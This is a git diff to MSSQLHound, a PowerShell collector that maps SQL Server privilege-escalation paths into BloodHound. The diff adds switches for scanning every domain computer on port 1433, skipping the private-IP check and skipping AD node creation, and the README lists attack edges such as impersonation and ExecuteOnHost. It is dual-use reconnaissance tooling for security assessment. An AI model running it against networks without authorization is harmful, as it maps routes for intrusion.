diff --git a/MSSQLHound.ps1 b/MSSQLHound.ps1
index 838c2d2..e92aa99 100644
--- a/MSSQLHound.ps1
+++ b/MSSQLHound.ps1
@@ -129,6 +129,21 @@ Switch/Flag:
- On: Try to install the ActiveDirectory module for PowerShell if it is not already installed
- Off (default): Do not try to install the ActiveDirectory module for PowerShell if it is not already installed. Rely on DirectoryServices, ADSISearcher, DirectorySearcher, and NTAccount.Translate() for object resolution.
+.PARAMETER SkipPrivateAddress
+Switch/Flag:
+ - On: Skip the private IP address check when resolving domains. Use this when the DC has a public IP but you still want to resolve SIDs.
+ - Off (default): Only resolve SIDs for domains that resolve to private IP addresses (RFC 1918).
+
+.PARAMETER ScanAllComputers
+Switch/Flag:
+ - On: In addition to computers with MSSQL SPNs, also attempt MSSQL collection against ALL other domain computers. Useful for finding SQL Server instances without registered SPNs.
+ - Off (default): Only scan computers with MSSQLSvc SPNs registered in Active Directory.
+
+.PARAMETER SkipADNodeCreation
+Switch/Flag:
+ - On: Skip creating User, Group, and Computer nodes (useful when you already have these from BloodHound/SharpHound). Edges to these objects will still be created and matched by ObjectIdentifier/SID.
+ - Off (default): Create all nodes including User, Group, and Computer nodes.
+
.PARAMETER LinkedServerTimeout
Give up enumerating linked servers after X seconds
@@ -174,6 +189,18 @@ Enumerate SPNS in the Active Directory domain for current logon context, then co
.\MSSQLHound.ps1 -IncludeNontraversableEdges
Enumerate SPNS in the Active Directory domain for current logon context, then collect data from each server with an SPN, including non-traversable edges
+.EXAMPLE
+.\MSSQLHound.ps1 -ScanAllComputers
+Enumerate MSSQL SPNs and also attempt collection against all other domain computers (useful for finding SQL instances without registered SPNs)
+
+.EXAMPLE
+.\MSSQLHound.ps1 -SkipADNodeCreation
+Enumerate SPNs and collect data, but skip creating User, Group, and Computer nodes (useful when you already have these from BloodHound/SharpHound)
+
+.EXAMPLE
+.\MSSQLHound.ps1 -ScanAllComputers -SkipADNodeCreation
+Scan all domain computers for MSSQL instances while skipping AD node creation to avoid conflicts with existing BloodHound data
+
.LINK
https://github.com/SpecterOps/MSSQLHound
@@ -259,6 +286,16 @@ param(
[switch]$InstallADModule,#=$true,
+ # Skip private IP address validation for domain resolution
+ # Use this when the DC has a public IP but you still want to resolve SIDs
+ [switch]$SkipPrivateAddress,
+
+ # Scan all domain computers for MSSQL instances, not just those with SPNs
+ [switch]$ScanAllComputers,
+
+ # Skip creating AD principal nodes (User, Group, Computer) - useful when using with BloodHound/SharpHound data
+ [switch]$SkipADNodeCreation,
+
[int]$LinkedServerTimeout = 300, # seconds
# File size limit to stop enumeration (e.g., "1GB", "500MB", "2.5GB")
@@ -281,6 +318,7 @@ $script:ScriptVersion = "1.0"
$script:ScriptName = "MSSQLHound"
$script:Domain = $Domain
$script:DomainController = $DomainController
+$script:SkipPrivateAddress = $SkipPrivateAddress
# Handle version request
if ($Version) {
@@ -4097,7 +4135,12 @@ function Test-DomainResolution {
}
}
- $isValid = $privateIPs.Count -gt 0
+ # If SkipPrivateAddress is set, consider valid if any IPs resolve (private or public)
+ if ($script:SkipPrivateAddress) {
+ $isValid = ($privateIPs.Count -gt 0) -or ($publicIPs.Count -gt 0)
+ } else {
+ $isValid = $privateIPs.Count -gt 0
+ }
# Cache the result
$script:DomainResolutionCache[$domainLower] = @{
@@ -4108,7 +4151,12 @@ function Test-DomainResolution {
}
if ($isValid) {
- Write-Verbose "Domain '$Domain' resolves to private IP(s): $($privateIPs -join ', ')"
+ if ($privateIPs.Count -gt 0) {
+ Write-Verbose "Domain '$Domain' resolves to private IP(s): $($privateIPs -join ', ')"
+ }
+ if ($publicIPs.Count -gt 0 -and $script:SkipPrivateAddress) {
+ Write-Verbose "Domain '$Domain' resolves to public IP(s): $($publicIPs -join ', ') - allowed due to -SkipPrivateAddress"
+ }
} else {
Write-Verbose "Domain '$Domain' resolves to public IP(s): $($publicIPs -join ', ') - skipping"
}
@@ -5193,6 +5241,85 @@ function Get-MSSQLServersFromSPNs {
}
}
+# Function to collect all domain computers for MSSQL scanning
+function Get-MSSQLServersFromDomainComputers {
+ param (
+ [string]$DomainName = $script:Domain
+ )
+
+ try {
+ Write-Host "Collecting additional domain computers for MSSQL scanning..." -ForegroundColor Cyan
+ Write-Host "Note: This will also attempt to connect to domain computers without MSSQL SPNs on port 1433" -ForegroundColor Yellow
+
+ # Search for all computer objects in the domain
+ $searcher = [adsisearcher]"(objectClass=computer)"
+ if ($DomainName) {
+ $searcher.SearchRoot = [adsi]"LDAP://$DomainName"
+ }
+ $searcher.PageSize = 1000
+ $searcher.PropertiesToLoad.AddRange(@('dNSHostName', 'name', 'distinguishedName', 'objectSid', 'operatingSystem'))
+
+ $results = $searcher.FindAll()
+
+ Write-Host "`nFound $($results.Count) domain computers" -ForegroundColor Cyan
+
+ $computerCount = 0
+ foreach ($result in $results) {
+ $computerCount++
+
+ # Get computer name - prefer dNSHostName, fall back to name
+ $computerName = $null
+ if ($result.Properties['dnshostname'] -and $result.Properties['dnshostname'][0]) {
+ $computerName = $result.Properties['dnshostname'][0]
+ } elseif ($result.Properties['name'] -and $result.Properties['name'][0]) {
+ $computerName = $result.Properties['name'][0]
+ # Append domain if we have it
+ if ($DomainName) {
+ $computerName = "$computerName.$DomainName"
+ }
+ }
+
+ if (-not $computerName) {
+ continue
+ }
+
+ # Get computer SID
+ $computerSid = $null
+ if ($result.Properties['objectsid'] -and $result.Properties['objectsid'][0]) {
+ $computerSid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value
+ }
+
+ if (-not $computerSid) {
+ Write-Verbose "Skipping $computerName - could not resolve SID"
+ continue
+ }
+
+ # Create ObjectIdentifier using default port 1433
+ $objectIdentifier = "${computerSid}:1433"
+
+ # Create server object if not already present
+ if (-not $script:serversToProcess.ContainsKey($objectIdentifier)) {
+ $script:serversToProcess[$objectIdentifier] = [PSCustomObject]@{
+ ObjectIdentifier = $objectIdentifier
+ ServerName = $computerName
+ Port = 1433
+ InstanceName = $null
+ ServiceAccountSIDs = @()
+ ServicePrincipalNames = @()
+ ServerFullName = "${computerName}:1433"
+ }
+ Write-Verbose "Added computer: $computerName"
+ }
+ }
+
+ Write-Host "Total servers to scan (SPNs + additional computers): $($script:serversToProcess.Count)" -ForegroundColor Green
+ }
+ catch {
+ Write-Error "Error collecting domain computers: $_"
+ return @()
+ }
+}
+
function Get-NestedRoleMembership {
param(
[Parameter(Mandatory=$true)]
@@ -6895,6 +7022,29 @@ function Process-ServerInstance {
}
}
+ # If connection failed and server has no MSSQL SPN, skip creating nodes/edges for this server
+ if ($connectionFailed) {
+ # Check if this server was discovered via SPN (has ServicePrincipalNames from stored info)
+ $serverObjectIdentifier = "$serverSid`:$Port"
+ if ($instanceName -and $instanceName -ne "MSSQLSERVER") {
+ $serverObjectIdentifier = "$serverSid`:$instanceName"
+ }
+
+ $storedServerInfo = $null
+ if ($script:serversToProcess.ContainsKey($serverObjectIdentifier)) {
+ $storedServerInfo = $script:serversToProcess[$serverObjectIdentifier]
+ }
+
+ $hasSPN = $storedServerInfo -and $storedServerInfo.ServicePrincipalNames -and $storedServerInfo.ServicePrincipalNames.Count -gt 0
+
+ if (-not $hasSPN) {
+ Write-Host "Skipping node/edge creation for $serverName - connection failed and no MSSQL SPN registered" -ForegroundColor Yellow
+ return $null
+ } else {
+ Write-Host "Connection failed but server has MSSQL SPN - creating nodes/edges from SPN data" -ForegroundColor Yellow
+ }
+ }
+
if (-not $connectionFailed) {
# Get the FQDN of the SQL Server (remote or local)
@@ -8764,178 +8914,190 @@ ORDER BY p.proxy_id
}
}
- # Create Computer node for server
- $computer = Resolve-DomainPrincipal $serverHostname
- if ($computer.SID) {
- Add-Node -Id $computer.ObjectIdentifier `
- -Kinds @("Computer", "Base") `
- -Properties @{
- name = $computer.Name
- distinguishedName = $computer.DistinguishedName
- DNSHostName = $computer.DNSHostName
- domain = $computer.Domain
- isDomainPrincipal = $computer.IsDomainPrincipal
- isEnabled = $computer.Enabled
- SAMAccountName = $computer.SamAccountName
- SID = $computer.SID
- userPrincipalName = $computer.UserPrincipalName
- }
- }
-
- # Create Base nodes for service accounts
- foreach ($serviceAccount in $serverInfo.ServiceAccounts) {
- if ($serviceAccount.ObjectIdentifier) {
- Add-Node -Id $serviceAccount.ObjectIdentifier `
- -Kinds @($serviceAccount.Type, "Base") `
- -Properties @{
- name = $serviceAccount.Name
- distinguishedName = $serviceAccount.DistinguishedName
- DNSHostName = $serviceAccount.DNSHostName
- domain = $serviceAccount.Domain
- isDomainPrincipal = $serviceAccount.IsDomainPrincipal
- isEnabled = $serviceAccount.Enabled
- SAMAccountName = $serviceAccount.SamAccountName
- SID = $serviceAccount.SID
- userPrincipalName = $serviceAccount.UserPrincipalName
- }
+ # Create Computer node for server (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ $computer = Resolve-DomainPrincipal $serverHostname
+ if ($computer.SID) {
+ Add-Node -Id $computer.ObjectIdentifier `
+ -Kinds @("Computer", "Base") `
+ -Properties @{
+ name = $computer.Name
+ distinguishedName = $computer.DistinguishedName
+ DNSHostName = $computer.DNSHostName
+ domain = $computer.Domain
+ isDomainPrincipal = $computer.IsDomainPrincipal
+ isEnabled = $computer.Enabled
+ SAMAccountName = $computer.SamAccountName
+ SID = $computer.SID
+ userPrincipalName = $computer.UserPrincipalName
+ }
+ }
+ }
+
+ # Create Base nodes for service accounts (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ foreach ($serviceAccount in $serverInfo.ServiceAccounts) {
+ if ($serviceAccount.ObjectIdentifier) {
+ Add-Node -Id $serviceAccount.ObjectIdentifier `
+ -Kinds @($serviceAccount.Type, "Base") `
+ -Properties @{
+ name = $serviceAccount.Name
+ distinguishedName = $serviceAccount.DistinguishedName
+ DNSHostName = $serviceAccount.DNSHostName
+ domain = $serviceAccount.Domain
+ isDomainPrincipal = $serviceAccount.IsDomainPrincipal
+ isEnabled = $serviceAccount.Enabled
+ SAMAccountName = $serviceAccount.SamAccountName
+ SID = $serviceAccount.SID
+ userPrincipalName = $serviceAccount.UserPrincipalName
+ }
+ }
}
}
- # Create Base nodes for credentials
+ # Create Base nodes for credentials (skip if SkipADNodeCreation is set)
Write-Host "Creating domain principal nodes"
$createdCredentialBaseNodes = @{}
- foreach ($credential in $serverInfo.Credentials) {
- if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and
- -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) {
-
- # Determine node type based on credential identity
- $nodeKind = $credential.ResolvedType
-
- Add-Node -Id $credential.ResolvedSID `
- -Kinds @($nodeKind, "Base") `
- -Properties @{
- name = $credential.ResolvedPrincipal.Name
- distinguishedName = $credential.ResolvedPrincipal.DistinguishedName
- DNSHostName = $credential.ResolvedPrincipal.DNSHostName
- domain = $credential.ResolvedPrincipal.Domain
- isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal
- isEnabled = $credential.ResolvedPrincipal.Enabled
- SAMAccountName = $credential.ResolvedPrincipal.SamAccountName
- SID = $credential.ResolvedPrincipal.SID
- userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName
- }
-
- $createdCredentialBaseNodes[$credential.ResolvedSID] = $true
+ if (-not $SkipADNodeCreation) {
+ foreach ($credential in $serverInfo.Credentials) {
+ if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and
+ -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) {
+
+ # Determine node type based on credential identity
+ $nodeKind = $credential.ResolvedType
+
+ Add-Node -Id $credential.ResolvedSID `
+ -Kinds @($nodeKind, "Base") `
+ -Properties @{
+ name = $credential.ResolvedPrincipal.Name
+ distinguishedName = $credential.ResolvedPrincipal.DistinguishedName
+ DNSHostName = $credential.ResolvedPrincipal.DNSHostName
+ domain = $credential.ResolvedPrincipal.Domain
+ isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal
+ isEnabled = $credential.ResolvedPrincipal.Enabled
+ SAMAccountName = $credential.ResolvedPrincipal.SamAccountName
+ SID = $credential.ResolvedPrincipal.SID
+ userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName
+ }
+
+ $createdCredentialBaseNodes[$credential.ResolvedSID] = $true
+ }
}
}
- # Create Base nodes for database-scoped credentials
- foreach ($db in $serverInfo.Databases) {
- if ($db.PSObject.Properties.Name -contains "DatabaseScopedCredentials") {
- foreach ($credential in $db.DatabaseScopedCredentials) {
- if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and
- -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) {
-
- # Determine node type based on credential identity
- $nodeKind = $credential.ResolvedType
-
- Add-Node -Id $credential.ResolvedSID `
- -Kinds @($nodeKind, "Base") `
- -Properties @{
- name = $credential.ResolvedPrincipal.Name
- distinguishedName = $credential.ResolvedPrincipal.DistinguishedName
- DNSHostName = $credential.ResolvedPrincipal.DNSHostName
- domain = $credential.ResolvedPrincipal.Domain
- isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal
- isEnabled = $credential.ResolvedPrincipal.Enabled
- SAMAccountName = $credential.ResolvedPrincipal.SamAccountName
- SID = $credential.ResolvedPrincipal.SID
- userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName
- }
-
- $createdCredentialBaseNodes[$credential.ResolvedSID] = $true
+ # Create Base nodes for database-scoped credentials (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ foreach ($db in $serverInfo.Databases) {
+ if ($db.PSObject.Properties.Name -contains "DatabaseScopedCredentials") {
+ foreach ($credential in $db.DatabaseScopedCredentials) {
+ if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and
+ -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) {
+
+ # Determine node type based on credential identity
+ $nodeKind = $credential.ResolvedType
+
+ Add-Node -Id $credential.ResolvedSID `
+ -Kinds @($nodeKind, "Base") `
+ -Properties @{
+ name = $credential.ResolvedPrincipal.Name
+ distinguishedName = $credential.ResolvedPrincipal.DistinguishedName
+ DNSHostName = $credential.ResolvedPrincipal.DNSHostName
+ domain = $credential.ResolvedPrincipal.Domain
+ isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal
+ isEnabled = $credential.ResolvedPrincipal.Enabled
+ SAMAccountName = $credential.ResolvedPrincipal.SamAccountName
+ SID = $credential.ResolvedPrincipal.SID
+ userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName
+ }
+
+ $createdCredentialBaseNodes[$credential.ResolvedSID] = $true
+ }
}
}
}
}
- # Create nodes for accounts with logins
- foreach ($principal in $serverInfo.ServerPrincipals) {
- if (($principal.TypeDescription -eq "WINDOWS_LOGIN" -or $principal.TypeDescription -eq "WINDOWS_GROUP") -and
- $principal.SecurityIdentifier) {
-
- # Check conditions for creating Base node
- $loginEnabled = $principal.IsDisabled -ne "1"
- $permissionToConnect = $false
-
- foreach ($perm in $principal.Permissions) {
- if ($perm.Permission -eq "CONNECT SQL" -and $perm.State -eq "GRANT") {
- $permissionToConnect = $true
- break
+ # Create nodes for accounts with logins (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ foreach ($principal in $serverInfo.ServerPrincipals) {
+ if (($principal.TypeDescription -eq "WINDOWS_LOGIN" -or $principal.TypeDescription -eq "WINDOWS_GROUP") -and
+ $principal.SecurityIdentifier) {
+
+ # Check conditions for creating Base node
+ $loginEnabled = $principal.IsDisabled -ne "1"
+ $permissionToConnect = $false
+
+ foreach ($perm in $principal.Permissions) {
+ if ($perm.Permission -eq "CONNECT SQL" -and $perm.State -eq "GRANT") {
+ $permissionToConnect = $true
+ break
+ }
}
- }
-
- if ($permissionToConnect -and $loginEnabled) {
+
+ if ($permissionToConnect -and $loginEnabled) {
- $adObject = Resolve-DomainPrincipal $principal.Name.Split('\')[1]
- if (-not $adObject.SID) {
- $adObject = Resolve-DomainPrincipal $principal.SecurityIdentifier
- }
+ $adObject = Resolve-DomainPrincipal $principal.Name.Split('\')[1]
+ if (-not $adObject.SID) {
+ $adObject = Resolve-DomainPrincipal $principal.SecurityIdentifier
+ }
- # Make sure this is an AD object with a domain SID
- if ($adObject.SID -and $adObject.SID -like "S-1-5-21-*") {
+ # Make sure this is an AD object with a domain SID
+ if ($adObject.SID -and $adObject.SID -like "S-1-5-21-*") {
- Add-Node -Id $adObject.SID `
- -Kinds @($adObject.Type, "Base") `
- -Properties @{
- name = $adObject.Name
- distinguishedName = $adObject.DistinguishedName
- DNSHostName = $adObject.DNSHostName
- domain = $adObject.Domain
- isDomainPrincipal = $adObject.IsDomainPrincipal
- isEnabled = $adObject.Enabled
- SAMAccountName = $adObject.SamAccountName
- SID = $adObject.SID
- userPrincipalName = $adObject.UserPrincipalName
+ Add-Node -Id $adObject.SID `
+ -Kinds @($adObject.Type, "Base") `
+ -Properties @{
+ name = $adObject.Name
+ distinguishedName = $adObject.DistinguishedName
+ DNSHostName = $adObject.DNSHostName
+ domain = $adObject.Domain
+ isDomainPrincipal = $adObject.IsDomainPrincipal
+ isEnabled = $adObject.Enabled
+ SAMAccountName = $adObject.SamAccountName
+ SID = $adObject.SID
+ userPrincipalName = $adObject.UserPrincipalName
+ }
}
}
}
}
}
- # Create nodes for local groups with SQL logins
- if ($serverInfo.PSObject.Properties.Name -contains "LocalGroupsWithLogins") {
- foreach ($groupObjId in $serverInfo.LocalGroupsWithLogins.Keys) {
- $groupInfo = $serverInfo.LocalGroupsWithLogins[$groupObjId]
- $groupPrincipal = $groupInfo.Principal
-
- # Create Group node for local machine SID and well-known local SIDs
- if ($groupPrincipal.SIDResolved) {
- $groupObjectId = "$serverFQDN-$($groupPrincipal.SIDResolved)"
+ # Create nodes for local groups with SQL logins (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ if ($serverInfo.PSObject.Properties.Name -contains "LocalGroupsWithLogins") {
+ foreach ($groupObjId in $serverInfo.LocalGroupsWithLogins.Keys) {
+ $groupInfo = $serverInfo.LocalGroupsWithLogins[$groupObjId]
+ $groupPrincipal = $groupInfo.Principal
+
+ # Create Group node for local machine SID and well-known local SIDs
+ if ($groupPrincipal.SIDResolved) {
+ $groupObjectId = "$serverFQDN-$($groupPrincipal.SIDResolved)"
- Add-Node -Id $groupObjectId `
- -Kinds @("Group", "Base") `
- -Properties @{
- name = $groupPrincipal.Name.Split('\')[-1]
- }
- }
-
- # Create Base nodes for domain members (already resolved)
- foreach ($member in $groupInfo.Members) {
+ Add-Node -Id $groupObjectId `
+ -Kinds @("Group", "Base") `
+ -Properties @{
+ name = $groupPrincipal.Name.Split('\')[-1]
+ }
+ }
- Add-Node -Id $member.SID `
- -Kinds @($member.Type, "Base") `
- -Properties @{
- name = $member.Name
- distinguishedName = $member.DistinguishedName
- DNSHostName = $member.DNSHostName
- domain = $member.Domain
- isDomainPrincipal = $member.IsDomainPrincipal
- isEnabled = $member.Enabled
- SAMAccountName = $member.SamAccountName
- SID = $member.SID
- userPrincipalName = $member.UserPrincipalName
- }
+ # Create Base nodes for domain members (already resolved)
+ foreach ($member in $groupInfo.Members) {
+
+ Add-Node -Id $member.SID `
+ -Kinds @($member.Type, "Base") `
+ -Properties @{
+ name = $member.Name
+ distinguishedName = $member.DistinguishedName
+ DNSHostName = $member.DNSHostName
+ domain = $member.Domain
+ isDomainPrincipal = $member.IsDomainPrincipal
+ isEnabled = $member.Enabled
+ SAMAccountName = $member.SamAccountName
+ SID = $member.SID
+ userPrincipalName = $member.UserPrincipalName
+ }
+ }
}
}
}
@@ -9305,7 +9467,6 @@ ORDER BY p.proxy_id
# Not possible to grant a principal ALTER on fixed roles, so we don't need to check for fixed/user-defined
switch ($script:CurrentEdgeContext.targetPrincipal.TypeDescription) {
"DATABASE_ROLE" {
- Add-Edge -Kind "MSSQL_Alter"
Add-Edge -Kind "MSSQL_AddMember"
}
"APPLICATION_ROLE" {
@@ -9938,12 +10099,14 @@ ORDER BY p.proxy_id
$groupObjectId = "$serverFQDN-$($groupPrincipal.SecurityIdentifier)"
[void]$principalsWithLogin.Add($groupObjectId)
- # Add node so we don't get Unknown kind
- Add-Node -Id $groupObjectId `
- -Kinds $("Group", "Base") `
- -Properties @{
- name = $groupPrincipal.Name.Split('\')[-1]
- }
+ # Add node so we don't get Unknown kind (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ Add-Node -Id $groupObjectId `
+ -Kinds $("Group", "Base") `
+ -Properties @{
+ name = $groupPrincipal.Name.Split('\')[-1]
+ }
+ }
Set-EdgeContext -SourcePrincipal @{ ObjectIdentifier = $groupObjectId } -TargetPrincipal $groupPrincipal -SourceType "Group" -TargetType "MSSQL_Login"
@@ -9952,10 +10115,14 @@ ORDER BY p.proxy_id
-Target $groupPrincipal.ObjectIdentifier `
-Kind "MSSQL_HasLogin"
- # Add edges for group members
- Add-Edge -Source $member.SID `
- -Target $groupObjectId `
- -Kind "MemberOf"
+ # Add MemberOf edges for group members
+ foreach ($member in $groupInfo.Members) {
+ if ($member.SID) {
+ Add-Edge -Source $member.SID `
+ -Target $groupObjectId `
+ -Kind "MemberOf"
+ }
+ }
} else {
Write-Verbose "Skipping local group $($groupPrincipal.Name) because SID was not found"
@@ -9972,12 +10139,14 @@ ORDER BY p.proxy_id
$authedUsersObjectId = "$script:Domain`-S-1-5-11"
- # Add node for Authenticated Users so we don't get Unknown kind
- Add-Node -Id $authedUsersObjectId `
- -Kinds $("Group", "Base") `
- -Properties @{
- name = "AUTHENTICATED USERS@$($script:Domain)"
- }
+ # Add node for Authenticated Users so we don't get Unknown kind (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ Add-Node -Id $authedUsersObjectId `
+ -Kinds $("Group", "Base") `
+ -Properties @{
+ name = "AUTHENTICATED USERS@$($script:Domain)"
+ }
+ }
Set-EdgeContext -SourcePrincipal @{ ObjectIdentifier = $authedUsersObjectId } -TargetPrincipal $principal -SourceType "Group" -TargetType "MSSQL_Login"
Add-Edge -Source $authedUsersObjectId `
@@ -9999,20 +10168,22 @@ ORDER BY p.proxy_id
# Don't create edges from non-domain objects like user-defined local groups and users
if ($domainPrincipal.SID) {
- # Add node so we don't get Unknown kind
- Add-Node -Id $domainPrincipal.SID `
- -Kinds $($domainPrincipal.Type, "Base") `
- -Properties @{
- name = $domainPrincipal.Name
- distinguishedName = $domainPrincipal.DistinguishedName
- DNSHostName = $domainPrincipal.DNSHostName
- domain = $domainPrincipal.Domain
- isDomainPrincipal = $domainPrincipal.IsDomainPrincipal
- isEnabled = $domainPrincipal.Enabled
- SAMAccountName = $domainPrincipal.SamAccountName
- SID = $domainPrincipal.SID
- userPrincipalName = $domainPrincipal.UserPrincipalName
- }
+ # Add node so we don't get Unknown kind (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ Add-Node -Id $domainPrincipal.SID `
+ -Kinds $($domainPrincipal.Type, "Base") `
+ -Properties @{
+ name = $domainPrincipal.Name
+ distinguishedName = $domainPrincipal.DistinguishedName
+ DNSHostName = $domainPrincipal.DNSHostName
+ domain = $domainPrincipal.Domain
+ isDomainPrincipal = $domainPrincipal.IsDomainPrincipal
+ isEnabled = $domainPrincipal.Enabled
+ SAMAccountName = $domainPrincipal.SamAccountName
+ SID = $domainPrincipal.SID
+ userPrincipalName = $domainPrincipal.UserPrincipalName
+ }
+ }
# Track this principal as having a login
[void]$principalsWithLogin.Add($principal.SecurityIdentifier)
@@ -10034,13 +10205,15 @@ ORDER BY p.proxy_id
# Track this principal as having a login
[void]$principalsWithLogin.Add($groupObjectId)
- # Add node so we don't get Unknown kind
- Add-Node -Id $groupObjectId `
- -Kinds $("Group", "Base") `
- -Properties @{
- name = $principal.Name
- isActiveDirectoryPrincipal = $principal.IsActiveDirectoryPrincipal
- }
+ # Add node so we don't get Unknown kind (skip if SkipADNodeCreation is set)
+ if (-not $SkipADNodeCreation) {
+ Add-Node -Id $groupObjectId `
+ -Kinds $("Group", "Base") `
+ -Properties @{
+ name = $principal.Name
+ isActiveDirectoryPrincipal = $principal.IsActiveDirectoryPrincipal
+ }
+ }
# MSSQL_HasLogin edge
Set-EdgeContext -SourcePrincipal @{ ObjectIdentifier = $groupObjectId } -TargetPrincipal $principal -SourceType "Group" -TargetType "MSSQL_Login"
@@ -10146,12 +10319,18 @@ if ($ServerInstance) {
Write-Host "Added $($listServers.Count) servers from list" -ForegroundColor Green
} else {
- # Collect MSSQL SPNs from Active Directory if domain is available
+ # Collect servers from Active Directory if domain is available
try {
+ # Always collect MSSQL SPNs first
Get-MSSQLServersFromSPNs
+
+ # If -ScanAllComputers is specified, also add all other domain computers
+ if ($ScanAllComputers) {
+ Get-MSSQLServersFromDomainComputers
+ }
}
catch {
- Write-Warning "Could not collect MSSQL SPNs from Active Directory: $_"
+ Write-Warning "Could not collect servers from Active Directory: $_"
}
}
diff --git a/README.md b/README.md
index f00029e..e7fdafb 100644
--- a/README.md
+++ b/README.md
@@ -1,548 +1,374 @@
-# MSSQLHound
-
-
-A PowerShell collector for adding MSSQL attack paths to [BloodHound](https://github.com/SpecterOps/BloodHound) with [OpenGraph](https://specterops.io/opengraph) by Chris Thompson at [SpecterOps](https://x.com/SpecterOps)
-
-Introductory blog post: https://specterops.io/blog/2025/08/04/adding-mssql-to-bloodhound-with-opengraph/
-
-Please hit me up on the [BloodHound Slack](http://ghst.ly/BHSlack) (@Mayyhem), Twitter ([@_Mayyhem](https://x.com/_Mayyhem)), or open an issue if you have any questions I can help with!
-
-# Table of Contents
-
-- [Overview](#overview)
- - [System Requirements](#system-requirements)
- - [Minimum Permissions](#minimum-permissions)
- - [Recommended Permissions](#recommended-permissions)
- - [Usage Info](#usage-info)
-- [Command Line Options](#command-line-options)
-- [Limitations](#limitations)
-- [Future Development](#future-development)
-- [MSSQL Graph Model](#mssql-graph-model)
-- [MSSQL Nodes Reference](#mssql-nodes-reference)
- - [Server Level](#server-level)
- - [`MSSQL_Server`](#server-instance-mssql_server-node)
- - [`MSSQL_Login`](#server-login-mssql_login-node)
- - [`MSSQL_ServerRole`](#server-role-mssql_serverrole-node)
- - [Database Level](#database-level)
- - [`MSSQL_Database`](#database-mssql_database-node)
- - [`MSSQL_DatabaseUser`](#database-user-mssql_databaseuser-node)
- - [`MSSQL_DatabaseRole`](#database-role-mssql_databaserole-node)
- - [`MSSQL_ApplicationRole`](#application-role-mssql_applicationrole-node)
-- [MSSQL Edges Reference](#mssql-edges-reference)
- - [Edge Classes and Properties](#edge-classes-and-properties)
- - [`CoerceAndRelayToMSSQL`](#coerceandrelaytomssql)
- - [`MSSQL_AddMember`](#mssql_addmember)
- - [`MSSQL_Alter`](#mssql_alter)
- - [`MSSQL_AlterAnyAppRole`](#mssql_alteranyapprole)
- - [`MSSQL_AlterAnyDBRole`](#mssql_alteranydbrole)
- - [`MSSQL_AlterAnyLogin`](#mssql_alteranylogin)
- - [`MSSQL_AlterAnyServerRole`](#mssql_alteranyserverrole)
- - [`MSSQL_ChangeOwner`](#mssql_changeowner)
- - [`MSSQL_ChangePassword`](#mssql_changepassword)
- - [`MSSQL_Connect`](#mssql_connect)
- - [`MSSQL_ConnectAnyDatabase`](#mssql_connectanydatabase)
- - [`MSSQL_Contains`](#mssql_contains)
- - [`MSSQL_Control`](#mssql_control)
- - [`MSSQL_ControlDB`](#mssql_controldb)
- - [`MSSQL_ControlServer`](#mssql_controlserver)
- - [`MSSQL_ExecuteAs`](#mssql_executeas)
- - [`MSSQL_ExecuteAsOwner`](#mssql_executeasowner)
- - [`MSSQL_ExecuteOnHost`](#mssql_executeonhost)
- - [`MSSQL_GetAdminTGS`](#mssql_getadmintgs)
- - [`MSSQL_GetTGS`](#mssql_gettgs)
- - [`MSSQL_GrantAnyDBPermission`](#mssql_grantanydbpermission)
- - [`MSSQL_GrantAnyPermission`](#mssql_grantanypermission)
- - [`MSSQL_HasDBScopedCred`](#mssql_hasdbscopedcred)
- - [`MSSQL_HasLogin`](#mssql_haslogin)
- - [`MSSQL_HasMappedCred`](#mssql_hasmappedcred)
- - [`MSSQL_HasProxyCred`](#mssql_hasproxycred)
- - [`MSSQL_HostFor`](#mssql_hostfor)
- - [`MSSQL_Impersonate`](#mssql_impersonate)
- - [`MSSQL_ImpersonateAnyLogin`](#mssql_impersonateanylogin)
- - [`MSSQL_IsMappedTo`](#mssql_ismappedto)
- - [`MSSQL_IsTrustedBy`](#mssql_istrustedby)
- - [`MSSQL_LinkedAsAdmin`](#mssql_linkedasadmin)
- - [`MSSQL_LinkedTo`](#mssql_linkedto)
- - [`MSSQL_MemberOf`](#mssql_memberof)
- - [`MSSQL_Owns`](#mssql_owns)
- - [`MSSQL_ServiceAccountFor`](#mssql_serviceaccountfor)
- - [`MSSQL_TakeOwnership`](#mssql_takeownership)
-
-# Overview
-Collects BloodHound OpenGraph compatible data from one or more MSSQL servers into individual temporary files, then zips them in the current directory
- - Example: `mssql-bloodhound-20250724-115610.zip`
-
-## System Requirements:
- - PowerShell 4.0 or higher
- - Target is running SQL Server 2005 or higher
- - BloodHound v8.0.0+
-
-## Minimum Permissions:
-### Windows Level:
- - Active Directory domain context with line of sight to a domain controller
-### MSSQL Server Level:
- - **`CONNECT SQL`** (default for new logins)
- - **`VIEW ANY DATABASE`** (default for new logins)
-
-## Recommended Permissions:
-### MSSQL Server Level:
- - **`VIEW ANY DEFINITION`** permission or `##MS_DefinitionReader##` role membership (available in versions 2022+)
- - Needed to read server principals and their permissions
- - Without one of these permissions, there will be false negatives (invisible server principals)
